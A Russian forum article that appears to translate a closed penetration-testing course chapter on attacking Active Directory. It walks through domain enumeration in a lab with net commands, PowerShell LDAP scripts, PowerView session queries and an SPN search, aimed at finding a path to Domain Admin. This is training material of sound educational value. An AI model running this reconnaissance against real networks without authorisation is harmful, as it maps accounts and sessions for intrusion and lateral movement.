Статья PWK-(21) Атаки на Active Directory

disclaimer: Данный материал является свободным (приближенным к оригиналу) переводом методического материала PWK, в частности Глава 21. Атаки на Active Directory. В связи с закрытым форматом распространения данного материала убедительная просьба ознакомившихся с ней не осуществлять свободное распространение содержимого статьи, чтобы не ставить под удар других участников форума. Приятного чтения.

Введение

Microsoft , часто указывают как Active Directory (AD), представляет собой службу, которая позволяет системным администраторам обновлять и управлять операционными системами, приложениями, пользователями и доступом к данным в больших масштабах. Поскольку Active Directory может быть очень сложным и многофункциональным слоем управления, она представляет собой очень большую поверхность атаки и требует пристального внимания.

В этой главе мы познакомимся с Active Directory и покажем методы сбора информации, аутентификации и бокового движения (lateral movement).

Теория Active Directory

Давайте начнем с краткого обзора основных концепций и терминов Active Directory перед тем, как мы начнем рассматривать сбор информации и эксплуатацию.

Active Direcory состоит из нескольких компонентов. Наиболее важным компонентом является , которым является сервер Windows 2000-2019 с установленной ролью Active Directory Domain Services. Контроллер домена является хабом и ядром Active Directory, поскольку он хранит всю информацию о конфигурации конкретного экземпляра Active Directory. Он также обеспечивает соблюдение множества правил, регулирующих то, как объекты в данном домене Windows взаимодействуют друг с другом, и какие службы и инструменты доступны конечным пользователям. Мощность и сложность Active Directory основана на невероятной детализации элементов управления, доступных сетевым администраторам.

Существует три различных версии серверных операционных систем Windows. Первая - оригинальная версия "desktop experience". , представленная в Windows Server 2008 R2, представляет собой минимальную установку сервера без выделенного графического интерфейса. Самая последняя версия - - была представлена в Windows Server 2016 и является еще более минимальной, чем Server Core. Стандартные версии "desktop experience" и Server Core могут функционировать в качестве контроллеров домена. Редакция Nano не может быть контроллером домена.

Когда экземпляр Active Directory настроен, домен создается с таким именем, как corp.com, где corp - это название организации. В этом домене мы можем добавлять различные типы объектов, включая компьютерные и пользовательские объекты.

Системные администраторы могут организовать (и почти всегда это делают) эти объекты с помощью . OU сравнимы с файловыми папками в том, что они являются контейнерами, используемыми для хранения и группировки других объектов. Компьютерные объекты представляют реальные серверы и рабочие станции, присоединенные к домену (часть домена), а пользовательские объекты представляют сотрудников организации. Все объекты AD содержат атрибуты, которые варьируются в зависимости от типа объекта. Например, пользовательский объект может включать такие атрибуты, как имя, фамилию, имя пользователя и пароль.

Обычно клиентские компьютеры во внутренней сети подключены к контроллеру домена и к различным другим внутренним серверам, входящим в состав сети, таким как серверы баз данных, серверы хранения файлов и т.д. Кроме того, многие организации предоставляют контент через веб-серверы, подключенные к Интернету, которые иногда также являются членами внутреннего домена.

Следует отметить, что некоторые организации будут иметь компьютеры, которые не присоединены к домену. Особенно это относится к компьютерам, подключенным напрямую к Интернет.

Active Directory может быть технически сложной, так как она включает в себя множество концепций и функций, которые мы не можем полностью охватить в этой главе. Вместо этого, мы познакомимся с основными терминами и языком AD, а также рассмотрим дополнительную информацию, необходимую для сбора информации и эксплуатации.

Среда Active Directory имеет очень сильную зависимость от службы DNS. Поэтому типичный контроллер домена в AD также будет содержать полномочный для данного домена DNS-сервер.

Сбор информации в Active Directory

Как правило, атака на инфраструктуру Active Directory начинается с успешного использования эксплойта или атаки на стороне клиента против рабочей станции или сервера домена, за которой следует перебор среды AD.

Некоторые тесты на проникновение начинаются с предполагаемого нарушения, при котором клиент предоставляет начальный доступ к рабочей станции. Это экономит время, ускоряет оценку и дает больше времени для оценки остальной внутренней инфраструктуры, включая Active Directory.

Как только мы закрепились, целью является повышение уровня наших привилегий до тех пор, пока мы не получим контроль над одним или несколькими доменами. Есть несколько способов сделать это.

В AD администраторы используют группы для назначения прав пользователям, а это означает, что во время нашей проверки мы будем нацелены на группы с высокими привилегиями. В этом случае мы могли бы скомпрометировать члена группы администраторов домена, чтобы получить полный контроль над каждым компьютером в домене.

Еще одним способом получения контроля над доменом является успешная компрометация контроллера домена, поскольку он может использоваться для управления всеми присоединенными к домену компьютерами или выполнения на них приложений. К тому же, как мы увидим позже, контроллер домена содержит все хэши паролей учетных записей пользователей домена.

В данной части главы будут рассмотренны различные методы сбора информации и эксплуатации AD для демонстрации типичной компрометации домена. В реальном сценарии мы можем использовать многие из техник сбора информации и эксплуатации Windows, которые были описаны в предыдущих главах. Однако сейчас мы сосредоточимся на техниках, специально разработанных для сбора информации и эксплуатации пользователей и групп AD.

Мы начнем работать с предположения, что уже был получен доступ к рабочей станции Windows 10 с помощью техники, рассмотренной ранее в этом курсе. Мы также предположим, что мы скомпрометировали пользователя домена Offsec, который также является членом группы локального администратора рабочей станции, присоединенной к домену. Это позволит нам сфокусироваться на техниках перечисления и эксплуатации, связанных с Active Directory.

Нашей первой целью в этом сценарии будет сбор информации о пользователях домена и их членстве в группах AD для нахождения наиболее ценных целей. Для этого мы будем использовать несколько инструментов и методик, многие из которых можно выполнить без административного доступа.

Традиционный подход

Первый метод, который мы будем называть "традиционным", использует встроенное приложение . В частности, мы будем использовать подкоманду , которая показывает все локальные учетные записи.

Код:
C:\Users\Offsec.corp> net user

User accounts for \\CLIENT251

-------------------------------------------------------------------------------
admin                    Administrator            DefaultAccount
Guest                    student                  WDAGUtilityAccount
The command completed successfully.
Листинг 1- Выполнение команды net user

Добавив флаг /domain мы получим список всех пользователей домена:

Код:
C:\Users\Offsec.corp> net user /domain
The request will be processed at a domain controller for domain corp.com.


User accounts for \\DC01.corp.com

-------------------------------------------------------------------------------
adam                    Administrator             DefaultAccount
Guest                   iis_service               jeff_admin
krbtgt                  offsec                    sql_service
The command completed successfully.
Листинг 2 - Выполнение команды net user domain

Выполнение этой команды в производственной среде, скорее всего, вернет гораздо более длинный список пользователей. Вооружившись этим списком, мы можем запрашивать информацию об отдельных пользователях.

Основываясь на вышеприведенном результате, мы должны запросить данные пользователя jeff_admin, поскольку его имя звучит довольно многообещающе.

Наш прошлый опыт показывает, что администраторы часто имеют тенденцию добавлять префиксы или суффиксы к именам пользователей, которые идентифицируют учетные записи по их функциям.

Код:
C:\Users\Offsec.corp> net user jeff_admin /domain
The request will be processed at a domain controller for domain corp.com.
User name                    jeff_admin
Full Name                    Jeff_Admin
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            2/19/2018 1:56:22 PM
Password expires             Never
Password changeable          2/19/2018 1:56:22 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships
Global Group memberships     *Domain Users          *Domain Admins
The command completed successfully.
Листинг 3 - Выполнение команды net user с указанием пользователя

Результат выполнения команды показал, что jeff_admin является членом группы администраторов домена, отметим это для себя.

Для получения информации обо всех группах в домене мы укажем флаг /domain после команды :

Код:
C:\Users\Offsec.corp> net group /domain
The request will be processed at a domain controller for domain corp.com.


Group Accounts for \\DC01.corp.com

-------------------------------------------------------------------------------
*Another_Nested_Group
*Cloneable Domain Controllers
*DnsUpdateProxy
*Domain Admins
*Domain Computers
*Domain Controllers
*Domain Guests
*Domain Users
*Enterprise Admins
*Enterprise Key Admins
*Enterprise Read-only Domain Controllers
*Group Policy Creator Owners
*Key Admins
*Nested_Group
*Protected Users
*Read-only Domain Controllers
*Schema Admins
*Secret_Group
The command completed successfully.
Листинг 4 - Выполнение команды net group

В листинге выше мы видим следующие кастомные группы: Secret_Group, Nested_Group и Another_Nested_Group. В Active Directory, группа (и, соответственно, все члены этой группы) могут быть добавлены как члены в другую группу. Это известно как вложенная (nested) группа.

Хотя вложение может показаться запутанным, оно хорошо масштабируется, обеспечивая гибкость и динамическую настройку членства даже для самых больших реализаций AD.

К сожалению, инструмент командной строки net.exe не может обрабатывать информацию о вложенных группах и показывает только пользователей, являющихся членами группы. Учитывая это и другие ограничения, в следующем разделе мы рассмотрим альтернативу программе net.exe, более эффективную в больших реальных средах.

Один из современных подходов

Существует несколько современных инструментов, предназначенных для сбора информации в AD.
PowerShell _cmdlets_ (командлеты), такие как , работают хорошо, но установлены по умолчанию они только на контроллерах домена (как часть ), и хотя они могут быть установлены на рабочие станции Windows, начиная с Windows 7, они требуют административных привелегий для запуска.

Однако мы можем использовать PowerShell (предпочтительный скриптовый язык администрирования для Windows), чтобы собрать информацию об AD. В этом разделе мы напишем скрипт, который будет собирать информацию о пользователях AD наряду со всеми свойствами этих учетных записей.

Хотя это не так просто, как выполнить команду типа _net.exe_, этот скрипт будет достаточно гибким, позволяя нам добавлять функции и возможности по мере необходимости. По мере написания скрипта, мы будем рассматривать многие технические детали, относящиеся к выполняемой задаче. Написав скрипт, мы сможем копировать и вставлять его для использования во время выполнения нашей работы.

Этот скрипт запросит у сети имя эмулятора первичного контроллера домена и домена, выполнит поиск в Active Directory и отфильтрует результаты для отображения пользовательских учетных записей, а затем очистит результаты для удобочитаемости.

Эмулятор первичного контроллера домена - это одна из пяти главных операционных ролей или , выполняемых контроллерами домена. Технически говоря, это свойство называется PdcRoleOwner, и контроллер домена с этим свойством всегда будет иметь самую свежую информацию о регистрации пользователя и аутентификации.

Наш скрипт состоит нескольких компонентов. В частности, мы будем использовать объект для запроса Active Directory с помощью , который является сетевым протоколом, понимаемым контроллерами домена, также используемым для взаимодействия с приложениями сторонних производителей.

LDAP - это провайдер сервисных интерфейсов (по сути API), который поддерживает функциональность поиска по Active Directory. Это позволит нам взаимодействовать с контроллером домена с помощью PowerShell и извлекать непривилегированную информацию об объектах в домене.

Наш скрипт будет основан на специфическом пути LDAP провайдера ( ), который будет служить входом в DirectorySearcher .NET класс. Прототип пути выглядит вот так:

Код:
LDAP://HostName[:PortNumber][/DistinguishedName]

Листинг 5 - формат пути провайдера LDAP

Для создания этого пути нам необходимо имя целевого узла (в данном случае это имя контроллера домена) и (DN) домена, который имеет определенный стандарт именования, основанный на определенных компонентах домена (Domain Components (DC)).

Сначала давайте найдем имя хоста контроллера домена и компоненты DistinguishedName с помощью команды PowerShell.

Если говорить точнее, то мы будем использовать пространства имен System.DirectoryServices.ActiveDirectory. Класс Domain содержит метод под названием , который получает объект Domain для текущего зарегистрированного пользователя.

Вызов метода GetCurrentDomain и его вывод отображается в листинге ниже:

Код:
PS C:\Users\offsec.CORP> [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrent
Domain()

Forest                  : corp.com
DomainControllers       : {DC01.corp.com}
Children                : {}
DomainMode              : Unknown
DomainModeLevel         : 7
Parent                  :
PdcRoleOwner            : DC01.corp.com
RidRoleOwner            : DC01.corp.com
InfrastructureRoleOwner : DC01.corp.com
Name                    : corp.com
Листинг 6 - Domain class из пространства имен System.DirectoryServices.ActiveDirectory

Согласно информации из листинга 6, доменное имя - "corp.com". (из свойства Name), а именем основного (primary) контроллера домена является "DC01.corp.com". (из свойства ).

Мы можем использовать эту информацию для программного (автоматического) создания пути LDAP провайдера. Давайте включим свойства Name и PdcRoleOwner в простой скрипт PowerShell, который создаст путь LDAP провайдера:

Код:
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$SearchString
Листинг 7 - Скрипт создания пути LDAP-провайдера

В этом скрипте *$domainObj* будет хранить весь объект домена, *$PDC* будет хранить имя PDC, а *$SearchString* построит путь провайдера. Обратите внимание, что DistinguishedName будет состоять из нашего доменного имени ('corp.com'), разбитого на отдельные компоненты домена (DC), что создает DistinguishedName "DC=corp,DC=com", как показано в результатах работы скрипта:

Код:
LDAP://DC01.corp.com/DC=corp,DC=com
Листинг 8 - Поный путь LDAP провайдера

Это полный путь LDAP провайдера, необходимый для выполнения LDAP запросов к контроллеру домена.

Теперь мы можем создать класс DirectorySearcher с указанием пути LDAP провайдера. Для использования класса DirectorySearcher нам нужно указать SearchRoot, который является .

Корень поиска принимает форму объекта, инстанцированного из класса . Когда в конструктор не передаются аргументы, SearchRoot будет указывать, что каждый поиск должен возвращать результаты из всей Active Directory. Код в Листинге 9 показывает соответствующую часть скрипта.

Код:
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
Листинг 9 - Создаем DirectorySearcher

Готовый объект DirectorySearcher позволяет выполнять поиск. Однако, без каких-либо фильтров, мы получим все объекты во всем домене.

Один из способов настройки фильтра - через атрибут , который является атрибутом, которым обладают все пользовательские, компьютерные и групповые объекты. Для более подробных примеров обратитесь к , но в нашем случае мы можем указать 0x30000000 (десятичное 805306368) в свойство фильтра для перечисления всех пользователей в домене, как показано в Листинге 10:

Код:
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="samAccountType=805306368"
$Searcher.FindAll()
Листинг 10 - фрагмент для поиска пользователей

Мы добавили фильтр samAccountType через свойство .filter нашего объекта $Searcher, а затем вызвали метод , чтобы провести поиск и найти все результаты, заданные фильтром.

После запуска скрипт должен показать информацию обо всех пользователях домена:

Код:
Path Properties
---- ----------
LDAP://CN=Administrator,CN=Users,DC=corp,DC=com {admincount...
LDAP://CN=Guest,CN=Users,DC=corp,DC=com {iscritical...
LDAP://CN=DefaultAccount,CN=Users,DC=corp,DC=com {iscritical...
LDAP://CN=krbtgt,CN=Users,DC=corp,DC=com {msds-...
LDAP://CN=Offsec,OU=Admins,OU=CorpUsers,DC=corp,DC=com {givenname...
LDAP://CN=Jeff_Admin,OU=Admins,OU=CorpUsers,DC=corp,DC=com {givenname...
LDAP://CN=Adam,OU=Normal,OU=CorpUsers,DC=corp,DC=com {givenname...
LDAP://CN=iis_service,OU=ServiceAccounts,OU=CorpUsers,DC=corp,DC=com {givenname...
LDAP://CN=sql_service,OU=ServiceAccounts,OU=CorpUsers,DC=corp,DC=com {givenname...
Листинг 11 - Пользователи домена

Отлично, но нам нужно немного почистить эти данные. Поскольку атрибуты пользовательского объекта сохранены в поле *Properties*, мы можем использовать второй круг обработки, что позволит нам вывести по одному свойству на строке.

Полный скрипт PowerShell соберет всех пользователей с их атрибутами:

Код:
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="samAccountType=805306368"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
    Foreach($prop in $obj.Properties)
    {
        $prop
    }
    Write-Host "------------------------"
}
Листинг 12 - Скрипт PowerShell для нахождения всех пользователей

Полученная информация может оказаться слегка избыточной, поскольку пользовательский объект имеет много атрибутов. Листинг, приведенный ниже, показывает часть арибутов пользователя Jeff_Admin.

Код:
givenname               {Jeff_Admin}
samaccountname          {jeff_admin}
cn                      {Jeff_Admin}
pwdlastset              {131623291900859206}
whencreated             {05/02/2018 18.33.10}
badpwdcount             {0}
displayname             {Jeff_Admin}
lastlogon               {0}
samaccounttype          {805306368}
countrycode             {0}
objectguid              {130 114 89 75 220 233 3 76 170 206 193 232 122 112 176 32}
usnchanged              {12938}
whenchanged             {05/02/2018 19.20.52}
name                    {Jeff_Admin}
objectsid               {1 5 0 0 0 0 0 5 21 0 0 0 195 240 137 95 239 58 38 166 116 233
logoncount              {0}
badpasswordtime         {0}
accountexpires          {9223372036854775807}
primarygroupid          {513}
objectcategory          {CN=Person,CN=Schema,CN=Configuration,DC=corp,DC=com}
userprincipalname       {jeff_admin@corp.com}
useraccountcontrol      {66048}
admincount              {1}
dscorepropagationdata   {05/02/2018 19.20.52, 01/01/1601 00.00.00}
distinguishedname       {CN=Jeff_Admin,OU=Admins,OU=CorpUsers,DC=corp,DC=com}
objectclass             {top, person, organizationalPerson, user}
usncreated              {12879}
memberof                {CN=Domain Admins,CN=Users,DC=corp,DC=com}
adspath                 {LDAP://CN=Jeff_Admin,OU=Admins,OU=CorpUsers,DC=corp,DC=com}
...
Листинг 13 - Часть атрибутов поьзователя

Согласно полученным результатам, учетная запись Jeff_Admin являеся членом группы администраторов домена. Используя наш объект *DirectorySearcher*, мы могли бы использовать фильтр для поиска членов определенных групп, таких как Domain Admin, или использовать фильтр для поиска только пользователя Jeff_Admin.

В свойстве filter мы можем указать любой атрибут объектного типа, какой захотим. Например, мы можем использовать свойство *name* для создания фильтра для пользователя Jeff_Admin, как показано ниже:

Код:
$Searcher.filter="name=Jeff_Admin"
Листинг 14 - Фильтр для поиска только Jeff_Admin

Хотя на первый взгляд этот скрипт может показаться сложным, он очень гибкий и может быть модифицирован для помощи в других задачах сбора информации в AD.

Поиск вложенных (nested) групп

Давайте используем только что созданный скрипт для поиска вложенных (nested) групп, которые мы нашли ранее с помощью `net.exe`.

Первой задачей является нахождение всех групп в домене и вывод их имен. Для этого мы создадим фильтр, который выберет все записи, у которых равен "Group" и выведем лишь свойство name каждой группы.

Листинг 15 демонстрирует измененный скрипт.

Код:
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="(objectClass=Group)"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
    $obj.Properties.name
}
Листинг 15 - Модифицированный скрипт PowerShell для поиска всех групп домена

После выполнения скрипта мы получим список всех групп домена. Частичный вывод, показанный в Листинге 16, содержит группы Secret_Group, Nested_Group, и Another_Nested_Group:

Код:
...
Key Admins
Enterprise Key Admins
DnsAdmins
DnsUpdateProxy
Secret_Group
Nested_Group
Another_Nested_Group
Листинг 16 - Результат работы скрипта для поиска групп домена

Теперь давайте попробуем получить список членов группы Secret_Group, установив соответствующий фильтр для свойства *name*.

Вдобавок, мы выведем лишь значение атрибута *member* для сбора информации о членах группы. Измененный скрипт PowerShell приведен в Листинге 17:

Код:
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="(name=Secret_Group)"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
    $obj.Properties.member
}
Листинг 17 - Скрипт PowerShell для сбора информации о членах группы

Модифицированный скрипт будет выгружать имена членов группы Secret_Group в виде DistinguishedName:

CN=Nested_Group,OU=CorpGroups,DC=corp,DC=com
Листинг 18 - Члены группы Secret_Group

Согласно полученному результату, группа Nested_Group является членом группы Secret_Group. Для того, чтобы найти её членов (членов группы Nested_Group), мы должны повторить только что выполненные шаги, но уже для Nested_Group. Мы сделаем это, изменив имя группы в условии фильтра:

Код:
...
$Searcher.SearchRoot = $objDomain
$Searcher.filter="(name=Nested_Group)"
...
Листинг 19 - Изменение скрипта для получения списка членов группы Nested_Group

Полученный скрипт выдает результат, приведенный в Листинге 20:

CN=Another_Nested_Group,OU=CorpGroups,DC=corp,DC=com
Листинг 20 - Члены группы Nested_Group

Что говорит о том, что группа Another_Nested_Group является единственным членом группы Nested_Group. Нам необходимо снова изменить наш скрипт, изменив имя группы в фильтре, и запустить его.

Код:
...
$Searcher.SearchRoot = $objDomain
$Searcher.filter="(name=Another_Nested_Group)"
...
Листинг 21 - Поиск членов группы Another_Nested_Group

Результат последнего поиска показан в Листинге 22.

CN=Adam,OU=Normal,OU=CorpUsers,DC=corp,DC=com
Листинг 22 - Члены группы Another_Nested_Group

Наконец мы видим, что доменный пользователь Adam является единственным членом группы Another_Nested_Group. На этом мы закончили сбор информации о вложенных (nested) группах домена и продемонстрировали, как PowerShell и LDAP могут быть использованы для выполнения такого рода поиска.

Зарегистрированные в системе пользователи

Теперь мы можем вывести список пользователей и их групп, и определить, кто из них обладает правами администртора.

Следующим шагом мы хотим найти зарегистрированных в системе (logged-in) пользователей, являющихся членами административных групп

Если у нас получится скомпрометировать одного из администраторов домена, мы сможем получить контроль над всем доменом (как будет видно далее). В другом случае, если мы не сможем сразу скомпрометировать одного из администраторов домена, мы должны скомпрометировать других пользователей или компьютеры для получения необходимого уровня доступа.

Например, на Рисунке 1 показано, что Боб залогинен на CLIENT512 и является локальным администратором для всех рабочих станций. Алиса залогинена на CLIENT612 и является локальным администратором для всех серверов. И наконец, Джефф залогинен на SERVER21 и является членом группы администраторов домена (Domain Admins).

currently_logged_on_users_01.png

Рисунок 1: Цепочка пользователей для компрометации

Если мы сможем скомпрометировать учетную запись Боба (например, с использование атаки на клиента (client side attack)), мы сможем использовать CLIENT512 как точку опоры и атаковать Алису на CLIENT612. Затем, мы сможем использовать CLIENT612 как точку опоры и атаковать Джеффа на SERVER21 для получения доступа к домену.

В данном варианте сценария, мы должны так проводить сбор информации, чтобы найти не только администраторов домена, но и потенциальные пути "цепочной компрометации", включая поиск так называемого .

Для этого нам необходимо получить список пользователей вошедших (logged on) на целевую систему.
Мы можем либо взаимодействовать с целью, чтобы обнаружить это напрямую, либо отслеживать активные сеансы входа пользователя на контроллере домена или файловом сервере.

Две самые надежные функции Windows, которые могут помочь нам в достижении этих целей, - это и API. В то время как первая требует административных разрешений и возвращает список всех пользователей, вошедших на целевую рабочую станцию, вторая может использоваться от обычного пользователя домена и возвращает список активных пользовательских сессий на серверах, таких как файловые серверы или контроллеры домена.

Во время проведения работ, после компрометации компьютера домена, мы должны собрать информацию о каждом компьютере в домене, а затем использовать NetWkstaUserEnum с полученным списком целей. Следует помнить, что этот API будет собирать информацию о пользователях, вошедших на целевой компьютер только в том случае, если у нас есть привилегии локального администратора на этом компьютере.

В качестве альтернативы мы могли бы сосредоточить наши усилия на обнаружении контроллеров домена и любых потенциальных файловых серверов (на основе имен или открытых портов серверов) в сети и использовать NetSessionEnum на этих серверах, чтобы собрать информацию обо всех активных пользовательских сессиях.

Этот процесс предоставит нам хорошую "карту эксплуатации", которой мы будем следовать, чтобы скомпрометировать учетную запись администратора домена. Однако, имейте в виду, что результаты, полученные при использовании этих двух API, будут варьироваться в зависимости от текущих привилегий пользователя, вошедшего в систему, и конфигурации доменной среды.

В качестве основного примера в этом разделе мы будем использовать NetWkstaUserEnum API для сбора информации о локальных пользователях на клиентской машине Windows 10 и NetSessionEnum для сбора информации об активных сеансах пользователей на контроллере домена.

Вызов API операционной системы из PowerShell не совсем прост. К счастью, другие исследователи представили методику, которая упрощает процесс, а также помогает избежать обнаружения угроз безопасности на компьютере. Наиболее распространенным решением является использование PowerView, скрипта PowerShell, который является частью фреймворка PowerShell Empire.

Скрипт PowerView сохранён на Windows10 клиенте в папке C:\Tools\active_directory. Для использования сначала импортируем его:

PS C:\Tools\active_directory> Import-Module .\PowerView.ps1
Листинг 23 - Установка и импорт PowerView

PowerView достаточно большой, но мы будем использовать только функции Get-NetLoggedon и Get-NetSession, которые вызывают NetWkstaUserEnum и NetSessionEnum соответственно.

Сначала мы соберем информацию о зарегистрированных пользователях с помощью **Get-NetLoggedon** вместе с опцией **-ComputerName** для указания целевой рабочей станции или сервера. Поскольку в данном случае мы ориентируемся на клиента Windows 10, мы будем использовать **-ComputerName client251**:

Код:
PS C:\Tools\active_directory> Get-NetLoggedon -ComputerName client251
wkui1_username wkui1_logon_domain wkui1_oth_domains wkui1_logon_server
-------------- ------------------ ----------------- ------------------
offsec            corp                                 DC01
offsec             corp                                 DC01
CLIENT251$         corp
CLIENT251$         corp
CLIENT251$         corp
CLIENT251$         corp
CLIENT251$         corp
CLIENT251$         corp
CLIENT251$         corp
CLIENT251$         corp
Листинг 24 - Сбор информации о пользователях с использованием Get-NetLoggedon

В результате мы видим учетную запись пользователя offsec.

Далее давайте попробуем выявить активные сеансы на контроллере домена DC01. Помните, что эти сеансы выполняются на контроллере домена, когда пользователь входит в систему, но исходят (сеансы) с определенной рабочей станции или сервера, информацию о которых мы пытаемся получить.

Аналогичным образом мы можем вызвать функцию **Get-NetSession** с помощью флага **-ComputerName**. Напомним, что данная функция вызывает Win32 API *NetSessionEnum*, который будет возвращать все активные сессии, в нашем случае с контроллера домена.

На Листинге 25 API вызывается на контроллер домена DC01.

Код:
PS C:\Tools\active_directory> Get-NetSession -ComputerName dc01
sesi10_cname sesi10_username sesi10_time sesi10_idle_time
------------ --------------- ----------- ----------------
\\192.168.1.111 CLIENT251$ 8 8
\\[::1] DC01$ 6 6
\\192.168.1.111 offsec 0 0
Листинг 25 - Сбор информации об сессиях пользователей с Get-NetSession

Как и ожидалось, пользователь Offsec имеет активный сеанс на контроллере домена с 192.168.1.111 (клиент Windows 10) в связи с активным входом. Информация, полученная с двух API, оказалась одинаковой, поскольку мы нацелились только на одну машину, с которой мы выполняем наш сценарий. Однако в реальной инфраструктуре Active Directory информация, полученная с помощью каждого API, может отличаться и определенно будет более полезной.

Теперь, когда мы можем получить информацию о членстве в группах и определить, на каких компьютерах пользователи в настоящее время вошли (logged in), у нас есть базовые навыки, необходимые для того, чтобы начать компрометировать учетные записи пользователей с конечной целью получения привилегий администратора домена.

Сбор информации с использованием Service Principal Names

Пока что мы собрали информацию о зарегистрированных (logged in) пользователях домена в поисках учетных записей, которые являются членами групп с высокими привилегиями. Альтернативой атаке на учетную запись пользователя домена является атака на так называемые , которые также могут быть членами групп с высокими привилегиями.

Когда приложение выполняется, оно всегда должно делать это в контексте пользователя операционной системы. Если пользователь запускает приложение, его учетная запись определяет контекст. Однако, службы запущенные самой системой, использует контекст, основанный на учетной записи службы (Service Account).

Другими словами, изолированные приложения могут использовать набор предопределенных учетных записей сервиса: , , и . Для более сложных приложений, учетная запись пользователя домена может использоваться для обеспечения необходимого контекста при сохранении доступа к ресурсам внутри домена.

Когда такие приложения, как Exchange, SQL или Internet Information Services (IIS) интегрированы в Active Directory, уникальный идентификатор экземпляра службы, известный как используется для связывания службы на определенном сервере с учетной записью службы в Active Directory.

, представленные в Windows Server 2008 R2, были разработаны для сложных приложений, требующих более тесной интеграции с Active Directory. Более крупные приложения, такие как SQL и , часто требуют резервирования (кластеризации) сервера для гарантии доступности, но Managed Service Accounts не поддерживает это. Для исправления ситуации в Windows Server 2012 были представлены , однако это требует чтобы контроллеры домена работали под управлением Windows Server 2012 или выше. Из-за этого, многие организации все еще полагаются на базовые Service Accounts.

Собрав информацию о всех зарегистрированных SPN в домене, мы можем получить IP адрес и количество портов приложений, запущенных на серверах, интегрированных с целевой Active Directory, что снимает необходимость в широком сканировании портов.

Поскольку информация регистрируется и хранится в Active Directory, она присутствует на контроллере домена. Чтобы получить данные, мы снова запросим контроллер домена в поисках определенных имен основных служб.

Несмотря на то, что Microsoft не задокументировала список SPN, существуют обширные .

Например, давайте обновим наш скрипт сбора информации PowerShell для фильтрации свойства *serviceprincipalname* по значению _\*http\*_, указывающего на наличие зарегистрированного веб-сервера:

Код:
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="serviceprincipalname=*http*"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
    Foreach($prop in $obj.Properties)
    {
        $prop
    }
}
Листинг 26 - Скрипт PowerShell для поиска registered service principal names

Результат работы скрипта содержит много информации, которую можно отфильтровать в дальнейшем, где мы легко обнаруживаем искомые данные:

Код:
Name                         Value
----                         -----
givenname                     {iis_service}
samaccountname                 {iis_service}
cn                             {iis_service}
pwdlastset                     {131623309820953450}
whencreated                 {05/02/2018 19.03.02}
badpwdcount                 {0}
displayname                 {iis_service}
lastlogon                     {131624786130434963}
samaccounttype                 {805306368}
countrycode                 {0}
objectguid                     {201 74 156 103 125 89 254 67 146 40 244 7 212 176 32 11}
usnchanged                     {28741}
whenchanged                 {07/02/2018 12.08.56}
name                         {iis_service}
objectsid                     {1 5 0 0 0 0 0 5 21 0 0 0 202 203 185 181 144 182 205 192 58 2
logoncount                     {3}
badpasswordtime             {0}
accountexpires                 {9223372036854775807}
primarygroupid                 {513}
objectcategory                 {CN=Person,CN=Schema,CN=Configuration,DC=corp,DC=com}
userprincipalname             {iis_service@corp.com}
useraccountcontrol             {590336}
dscorepropagationdata         {01/01/1601 00.00.00}
